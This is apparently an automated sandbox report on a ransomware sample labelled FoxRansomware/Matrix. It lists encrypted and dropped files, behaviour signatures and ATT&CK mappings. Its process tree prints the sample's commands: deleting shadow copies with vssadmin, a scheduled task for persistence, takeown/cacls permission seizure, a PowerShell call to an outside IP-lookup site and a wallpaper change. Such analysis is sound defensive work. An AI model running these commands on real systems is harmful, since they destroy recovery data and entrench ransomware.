C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.update\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Atlantic\Azores 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\Audio-48.png 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Gambier 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\plugin.properties 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\km\LC_MESSAGES\vlc.mo 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\plugin2\npjp2.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Bissau 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Kuching 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_classic_win7.css 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-modules-startup.xml 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jre7\bin\jli.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\stream_filter\libaribcam_plugin.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\VideoLAN\VLC\locale\gd\LC_MESSAGES\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\#ANN_README#.rtf 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\orbd.exe 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Juneau 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jre7\bin\JavaAccessBridge-64.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-api-search.xml 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-oql.xml 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-sendopts.jar 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+7 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Google\Chrome\Application\chrome_proxy.exe 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\AssemblyInfo.zip 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa.fca 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\sunmscapi.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\offset_window.html 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.core.nl_ja_4.4.0.v20140623020002.jar 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\VideoLAN\VLC\plugins\codec\libwebvtt_plugin.dll 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\speaker-32.png 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1996 schtasks.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 568 vssadmin.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1572 powershell.exe 1816 kFEa3Jop64.exe 1816 kFEa3Jop64.exe 1816 kFEa3Jop64.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 1816 kFEa3Jop64.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 1572 powershell.exe Token: SeDebugPrivilege 1816 kFEa3Jop64.exe Token: SeLoadDriverPrivilege 1816 kFEa3Jop64.exe Token: SeBackupPrivilege 1156 vssvc.exe Token: SeRestorePrivilege 1156 vssvc.exe Token: SeAuditPrivilege 1156 vssvc.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 836 wrote to memory of 1428 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 28 PID 836 wrote to memory of 1428 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 28 PID 836 wrote to memory of 1428 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 28 PID 836 wrote to memory of 1428 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 28 PID 836 wrote to memory of 568 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 30 PID 836 wrote to memory of 568 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 30 PID 836 wrote to memory of 568 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 30 PID 836 wrote to memory of 568 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 30 PID 836 wrote to memory of 1568 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 34 PID 836 wrote to memory of 1568 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 34 PID 836 wrote to memory of 1568 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 34 PID 836 wrote to memory of 1568 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 34 PID 1568 wrote to memory of 1572 1568 cmd.exe 36 PID 1568 wrote to memory of 1572 1568 cmd.exe 36 PID 1568 wrote to memory of 1572 1568 cmd.exe 36 PID 1568 wrote to memory of 1572 1568 cmd.exe 36 PID 836 wrote to memory of 1504 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 37 PID 836 wrote to memory of 1504 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 37 PID 836 wrote to memory of 1504 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 37 PID 836 wrote to memory of 1504 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 37 PID 836 wrote to memory of 1080 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 38 PID 836 wrote to memory of 1080 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 38 PID 836 wrote to memory of 1080 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 38 PID 836 wrote to memory of 1080 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 38 PID 1080 wrote to memory of 852 1080 cmd.exe 42 PID 1080 wrote to memory of 852 1080 cmd.exe 42 PID 1080 wrote to memory of 852 1080 cmd.exe 42 PID 1080 wrote to memory of 852 1080 cmd.exe 42 PID 1504 wrote to memory of 1368 1504 cmd.exe 41 PID 1504 wrote to memory of 1368 1504 cmd.exe 41 PID 1504 wrote to memory of 1368 1504 cmd.exe 41 PID 1504 wrote to memory of 1368 1504 cmd.exe 41 PID 1504 wrote to memory of 692 1504 cmd.exe 43 PID 1504 wrote to memory of 692 1504 cmd.exe 43 PID 1504 wrote to memory of 692 1504 cmd.exe 43 PID 1504 wrote to memory of 692 1504 cmd.exe 43 PID 1504 wrote to memory of 1084 1504 cmd.exe 44 PID 1504 wrote to memory of 1084 1504 cmd.exe 44 PID 1504 wrote to memory of 1084 1504 cmd.exe 44 PID 1504 wrote to memory of 1084 1504 cmd.exe 44 PID 836 wrote to memory of 1096 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 45 PID 836 wrote to memory of 1096 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 45 PID 836 wrote to memory of 1096 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 45 PID 836 wrote to memory of 1096 836 0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe 45 PID 1096 wrote to memory of 1316 1096 cmd.exe 47 PID 1096 wrote to memory of 1316 1096 cmd.exe 47 PID 1096 wrote to memory of 1316 1096 cmd.exe 47 PID 1096 wrote to memory of 1316 1096 cmd.exe 47 PID 1096 wrote to memory of 1464 1096 cmd.exe 48 PID 1096 wrote to memory of 1464 1096 cmd.exe 48 PID 1096 wrote to memory of 1464 1096 cmd.exe 48 PID 1096 wrote to memory of 1464 1096 cmd.exe 48 PID 1096 wrote to memory of 1180 1096 cmd.exe 49 PID 1096 wrote to memory of 1180 1096 cmd.exe 49 PID 1096 wrote to memory of 1180 1096 cmd.exe 49 PID 1096 wrote to memory of 1180 1096 cmd.exe 49 PID 1096 wrote to memory of 1896 1096 cmd.exe 50 PID 1096 wrote to memory of 1896 1096 cmd.exe 50 PID 1096 wrote to memory of 1896 1096 cmd.exe 50 PID 1096 wrote to memory of 1896 1096 cmd.exe 50 PID 1896 wrote to memory of 456 1896 cmd.exe 52 PID 1896 wrote to memory of 456 1896 cmd.exe 52 PID 1896 wrote to memory of 456 1896 cmd.exe 52 PID 1896 wrote to memory of 456 1896 cmd.exe 52 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 1316 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe"1⤵
- Matrix Ransomware
- Loads dropped DLL
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:836 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0676816e9e450dea861a65a0b29f44179e1999f09a24e488ec6756528a5e6b65.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWL2hCtC.exe"2⤵PID:1428
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C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWL2hCtC.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWL2hCtC.exe" -n2⤵
- Executes dropped EXE
PID:568
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\UknmTQ99.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1568 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1572
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\k1DKvv9G.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1504 -
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\k1DKvv9G.bmp" /f3⤵
- Sets desktop wallpaper using registry
PID:1368
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C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f3⤵PID:692
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C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f3⤵PID:1084
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\dQcPGOLH.vbs"2⤵
- Suspicious use of WriteProcessMemory
PID:1080 -
C:\Windows\SysWOW64\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Roaming\dQcPGOLH.vbs"3⤵PID:852
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\3oDNLdGB.bat" /sc minute /mo 5 /RL HIGHEST /F4⤵PID:1188
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C:\Windows\SysWOW64\schtasks.exeschtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\3oDNLdGB.bat" /sc minute /mo 5 /RL HIGHEST /F5⤵
- Creates scheduled task(s)
PID:1996
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA4⤵PID:2024
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C:\Windows\SysWOW64\schtasks.exeschtasks /Run /I /tn DSHCA5⤵PID:1820
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C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\4RoeiuDU.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf""2⤵
- Suspicious use of WriteProcessMemory
PID:1096 -
C:\Windows\SysWOW64\attrib.exeattrib -R -A -S "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf"3⤵
- Views/modifies file attributes
PID:1316
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C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf" /E /G Admin:F /C3⤵PID:1464
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C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\PDFSigQFormalRep.pdf"3⤵
- Modifies file permissions
PID:1180
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c kFEa3Jop.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1896 -
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\kFEa3Jop.exekFEa3Jop.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:456 -
C:\Users\Admin\AppData\Local\Temp\kFEa3Jop64.exekFEa3Jop.exe -accepteula "PDFSigQFormalRep.pdf" -nobanner5⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
PID:1816
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C:\Windows\system32\taskeng.exetaskeng.exe {6A59F289-880F-41C4-B3D8-B2A11DA64BB2} S-1-5-21-3846991908-3261386348-1409841751-1000:VQVVOAJK\Admin:Interactive:[1]1⤵PID:1172
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C:\Windows\SYSTEM32\cmd.exeC:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\3oDNLdGB.bat"2⤵PID:960
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C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet3⤵
- Interacts with shadow copies
PID:568
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1156
Network
MITRE ATT&CK Enterprise v6
Persistence
Hidden Files and Directories
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
File Deletion
2File and Directory Permissions Modification
1Hidden Files and Directories
1Modify Registry
2